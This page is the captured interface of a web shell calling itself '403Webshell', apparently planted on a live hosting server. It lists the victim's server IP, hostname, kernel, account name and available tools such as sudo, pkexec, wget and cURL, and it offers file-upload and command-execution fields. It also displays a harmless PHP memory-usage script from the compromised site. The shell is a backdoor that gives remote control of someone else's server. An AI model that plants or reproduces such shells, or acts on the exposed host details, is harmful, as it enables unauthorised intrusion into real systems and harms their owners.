403Webshell
Server IP : 216.238.111.58  /  Your IP : 216.73.217.34
Web Server : LiteSpeed
System : Linux hosting.smartskills.com.br 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Mon Apr 20 18:04:27 EDT 2026 x86_64
User : skillsitcom ( 1002)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/skillsitcom/.trash/dashboard/front/sh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/skillsitcom/.trash/dashboard/front/sh/mem.php
<?php

$totalm = exec('/usr/bin/free -tm | /usr/bin/awk \'{print $1","$2","$3-$6-$7","$4+$6+$7}\' |grep -i mem: |cut -f2 -d,');

$usedm = exec('/usr/bin/free -tm | /usr/bin/awk \'{print $1","$2","$3","$4+$6+$7}\' |grep -i mem: |cut -f3 -d,');
//$usedm = exec('/usr/bin/free -tm | /usr/bin/awk \'{print $1","$2","$3-$6-$7","$4+$6+$7}\' |grep -i mem: |cut -f3 -d,');


if($totalm > 1024) {
	echo round($usedm / '1024',2) ." / ". round($totalm / '1024',0) . " GB"; 
	$totalu = round($totalm / '1024',2) . " GB";
	$titlem = "MEM - $totalu GB";
	
	$totalmem = round($totalm / '1024',0);
	$usedmem = round($usedm / '1024',2);
}

else {
	echo $usedm." / ".$totalm. " MB";
	$titlem = "MEM - $totalm MB";

	$totalmem = $totalm;
	$usedmem = $usedm;
}
	
$perc = round(($usedm*100)/$totalm ,1);
$umem = $perc;	
	
if($umem > 90) { $corm = "progress-bar-danger"; }

if($umem >= 60 and $umem <= 90) { $corm = "progress-bar-warning"; } 

if($umem > 51 and $umem < 60) { $corm = "progress-bar"; }

if($umem > 0 and $umem <= 50) { $corm = "progress-bar-success"; }	

Youez - 2016 - github.com/yon3zu
LinuXploit